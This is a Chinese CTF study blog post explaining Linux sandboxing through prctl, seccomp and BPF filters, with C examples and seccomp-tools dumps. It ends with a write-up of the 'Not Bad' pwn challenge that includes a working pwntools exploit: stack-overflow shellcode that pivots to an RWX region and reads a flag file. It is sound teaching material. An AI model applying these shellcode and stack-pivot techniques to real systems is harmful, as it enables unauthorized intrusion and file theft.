初识Pwn沙箱

​ 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。

​ 安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。

​ 在ctf中主要通过两种方式实现沙箱机制:

  • prctl系统调用;
  • seccomp库函数;

1、prctl函数初探

​ prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。

​ 下面是/linux/prctl.h和seccomp相关的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Get/set process seccomp mode */
#define PR_GET_SECCOMP 21
#define PR_GET_SECCOMP 22

/*
* If no_new_privs is set, then operations that grant new privileges (i.e.
* execve) will either fail or not grant them. This affects suid/sgid,
* file capabilities, and LSMs.
*
* Operations that merely manipulate or drop existing privileges (setresuid,
* capset, etc.) will still work. Drop those privileges if you want them gone.
*
* Changing LSM security domain is considered a new privilege. So, for example,
* asking selinux for a specific new context (e.g. with runcon) will result
* in execve returning -EPERM.
*
* See Documentation/userspace-api/no_new_privs.rst for more details.
*/
#define PR_SET_NO_NEW_PRIVS 38
#define PR_GET_NO_NEW_PRIVS 39

prctl函数原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)

  在具体了解prctl函数之前,我们再了解这样一个概念:沙箱。沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。

include/linux/prctl.h里面存储着prctl的所有参数的宏定义,prctl的五个参数中,其中第一个参数是你要做的事情,后面的参数都是对第一个参数的限定。

​ 在第一个参数中,我们需要重点关注的参数有这两个:

  1. PR_SET_SECCOMP(22):当第一个参数是PR_SET_SECCOMP,第二个参数argv2为1的时候,表示允许的系统调用有read,write,exit和sigereturn;当argv等于2的时候,表示允许的系统调用由argv3指向sock_fprog结构体定义,该结构体成员指向的sock_filter可以定义过滤任意系统调用和系统调用参数。(细节见下图)
  2. PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系统调用execve()函数,同时,这个选项可以通过fork()函数和clone()函数继承给子进程。
1
2
3
4
struct sock_fprog {
unsigned short len; /* 指令个数 */
struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}
1
2
3
4
5
6
7
8
9
10
11
12
13
struct sock_filter {            /* Filter block */
__u16 code; /* Actual filter code,bpf指令码 */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{
int nr;//系统调用号
__u32 arch;//调用架构
__u64 instruction_pointer;//CPU指令指针
__u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}

2、prctl()函数详解

prctl是一个系统调用,用于控制和修改进程的行为和属性。它可以在Linux系统上使用,提供了各种功能和选项来管理进程的不同方面。

​ 以下是prctl函数的基本原型:

1
2
3
#include <sys/prctl.h>

int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

​ prctl函数接受不同的option选项和参数,用于执行不同的操作。下面是一些常用的option选项及其功能:

  • PR_SET_NAME:设置进程名称。
  • PR_GET_NAME:获取进程名称。
  • PR_SET_PDEATHSIG:设置在父进程终止时发送给当前进程的信号。
  • PR_GET_PDEATHSIG:获取父进程终止时发送给当前进程的信号。
  • PR_SET_DUMPABLE:设置进程的可转储标志,影响核心转储。
  • PR_GET_DUMPABLE:获取进程的可转储标志。
  • PR_SET_SECCOMP:设置进程的安全计算模式。
  • PR_GET_SECCOMP:获取进程的安全计算模式。

​ 这些仅是一些常用的选项,prctl还支持其他选项和功能。每个选项都有特定的参数,可以根据需要传递。具体的参数和行为取决于所选的选项。

​ 以下是一个简单的示例,展示了如何使用prctl函数设置进程名称:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define _GNU_SOURCE
#include <sys/prctl.h>
#include <stdio.h>

int main() {
const char* process_name = "MyProcess";

if (prctl(PR_SET_NAME, (unsigned long) process_name) == -1) {
perror("prctl");
return 1;
}

// 获取进程名称
char name[16];
if (prctl(PR_GET_NAME, (unsigned long) name) == -1) {
perror("prctl");
return 1;
}

printf("Process name: %s\n", name);

return 0;
}

​ 在上述示例中,我们使用prctl函数将当前进程的名称设置为”MyProcess”。然后,我们再次使用prctl函数获取进程的名称,并将其打印到标准输出。

​ 请注意,prctl函数的具体行为和可用选项可能因操作系统和版本而异。在使用prctl函数时,应该查阅相关文档并了解所使用的操作系统的支持和限制。

3、BPF过滤规则(伯克利封装包过滤)

​ 突破沙箱规则,本质上就是一种越权漏洞。seccomp是linux保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。所谓沙箱,就是把用户态和内核态相互分离开,让用户态的进程,不要影响到内核态,从而保证系统安全。

​ 如果我们在沙箱中,完全遵守seccomp机制,我们便只能调用exit(),sigreturn(),read()和write()这四种系统调用,那么其实我们的进程应该是安全的(其实也不一定,后面的例题就没有溢出,而是通过系统调用直接读取文件)。但是,由于他的规则过于死板,所以后面出现了过滤模式,让我们可以调用到那些系统调用。回顾上面提到的PT_SET_SECCOMP这个参数,后面接到的第一个参数,就是它设置的模式,第三个参数,指向sock_fprog结构体,sock_fprog结构体中,又有指向sock_filter结构体的指针,sock_filter结构体这里,就是我们要设置规则的地方。

  我们在设置过滤规则,在面对沙箱题目的时候,会经常用到Seccomp-tools这个工具。

BPF指令集简介

  BPF_LD:加载操作,BPF_H表示按照字节传送,BPF_W表示按照双字来传送,BPF_B表示传送单个字节。

  BPF_LDX:从内存中加载byte/half-word/word/double-word。

  BPF_ST,BPF_STX:存储操作

  BPF_ALU,BPT_ALU64:逻辑操作运算。

  BPT_JMP:跳转操作,可以和JGE,JGT,JEQ,JSET一起表示有条件的跳转,和BPF_JA一起表示没有条件的跳转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h> //off和imm都是有符号类型,编码信息定义在内核头文件linux/bpf.h
#include<sys/types.h>

int main()
{
struct sock_filter filter[]={
BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节开始,传送4个字节
BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比较是否为59(execve 的系统调用号),是就跳过下一行,如果不是,就执行下一行,第三个参数表示执行正确的指令跳转,第四个参数表示执行错误的指令跳转
BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),
// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL),
// 杀死一个进程
// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE),
// 父进程追踪子进程,具体没太搞清楚
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO),
// 异常处理
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
// 这里表示系统调用如果正常,允许系统调用
};
struct sock_fprog prog={
.len=sizeof(filter)/sizeof(sock_filter[0]),
.filter=filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数是进行什么设置,第二个参数是设置的过滤模式,第三个参数是设置的过滤规则
puts("123");
return 0;
}

​ 开始的时候,我们设置了sock_filter结构体数组。这里为什么是一个结构体数组呢?因为我们看到里面有BPF_STMT和BPF_JMP的宏定义,其实BPF_STMT和BPF_JMP都是条件编译后赋值的sock_filter结构体。

1
2
3
4
5
6
#ifndef     BPF_STMT
#define BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif

​ 上面的例子中禁用了execve的系统调用号,64位系统中execve的系统调用号是59.

​ BPF_JUMP后的第二个参数是我们要设置的需要禁用的系统调用号。

​ 我们在这里禁用的两个系统调用分别是sys_restart_syscall和execve,如果出现这两个系统调用,那么我们就会跳转到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的异常处理。其实,如果我们要直接杀死这个进程的话,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)这个规则可以直接杀死进程。

​ GitHub上的一个真实例子:

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <errno.h>
#include <linux/audit.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <unistd.h>

static int install_filter(int nr, int arch, int error) {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, arch, 0, 3),
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, nr, 0, 1),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (error & SECCOMP_RET_DATA)),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
if (prctl(PR_SET_SECCOMP, 2, &prog)) {
perror("prctl(PR_SET_SECCOMP)");
return 1;
}
return 0;
}

int main() {
printf("hey there!\n");

install_filter(__NR_write, AUDIT_ARCH_X86_64, EPERM);

printf("something's gonna happen!!\n");
printf("it will not definitely print this here\n");
return 0;
}

​ 用 seccomp-tools来dump下看看:

1
2
3
4
5
6
7
8
9
10
g01den@MSI:~/CTest/seccomp$ seccomp-tools dump ./prctl
hey there!
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 0005
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0005
0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

​ 禁用掉之后,我们通过seccomp来dump一下。我们看到,最前面的就是sock_filter结构体的四个参数,后面的,就是bpf规则的汇编表示。

4、orw:

[极客大挑战 2019]Not Bad:

​ 先检查下保护:

1
2
3
4
5
6
7
8
9
g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

​ 没有开保护,且存在RWX段,IDA看看:

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400949();
sub_400906();
sub_400A16();
return 0LL;
}

​ 函数名等等有问题,试着恢复下:

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
seccomp();
init_0();
vuln();
return 0LL;
}

​ 简单恢复了下之后是这样,先看看seccomp函数,里面很明显存在沙盒(可能是种不专业的说法):

1
2
3
4
5
6
7
8
9
10
11
__int64 seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
return seccomp_load(v1);
}

​ 好,那么直接用seccomp-tools工具dump一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
g01den@MSI:~/Temp$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

​ 最后发现可以利用的系统调用有orw三个,那么看看vuln函数:

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Easy shellcode, have fun!");
read(0, buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

​ 这里存在栈溢出,感觉可以打shellcode,但是,明显发现栈的长度不够ret2shellcode,推测一手栈迁移,试试看。

​ 经过动调之后,发现在执行到函数mmap之后,存在一个可写可执行权限的内存段(扔一个小知识点:这里mmap参数类型是(起始地址,大小,保护类,文件描述符]等)):

1
2
3
4
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x123000 0x124000 -wxp 1000 0 [anon_00123]

​ 可以将栈迁移到这儿去,再执行shellcode或者syscall读文件,不过,这个要之后再说了。大概思路说下吧,先通过shellcode调用read函数将读文件写入内存然后输出这样的一个顺序,先贴一下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#from LibcSearcher import *

# context.terminal = ["tmux", "splitw", "-h"]
Locale = 0
if Locale == 1:
io = process('./pwn')
else:
io = remote("node5.buuoj.cn",26888)

#elf = ELF("./pwn")
context(arch='amd64', os='linux', log_level='debug')


def exp():
# gdb.attach(io)
mnap = 0x123000
jmp_rsp = 0x0400a01
io.recvuntil("Easy shellcode, have fun!\n")
shellcode = asm(shellcraft.read(0,mnap,0x100))
shellcode += asm('mov rax,0x123000;call rax')
payload = shellcode.ljust(0x28,b'a')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp") #这里的减0x30我没怎么看懂,记录在这儿
io.send(payload)
payload2 = asm(shellcraft.open('./flag')+shellcraft.read(3,mnap+0x100,0x100)+shellcraft.write(1,mnap+0x100,0x100))
io.send(payload2)


exp()

io.interactive()

参考文章:

从prctl函数开始学习沙箱规则

BPF详解

函数 prctl 系统调用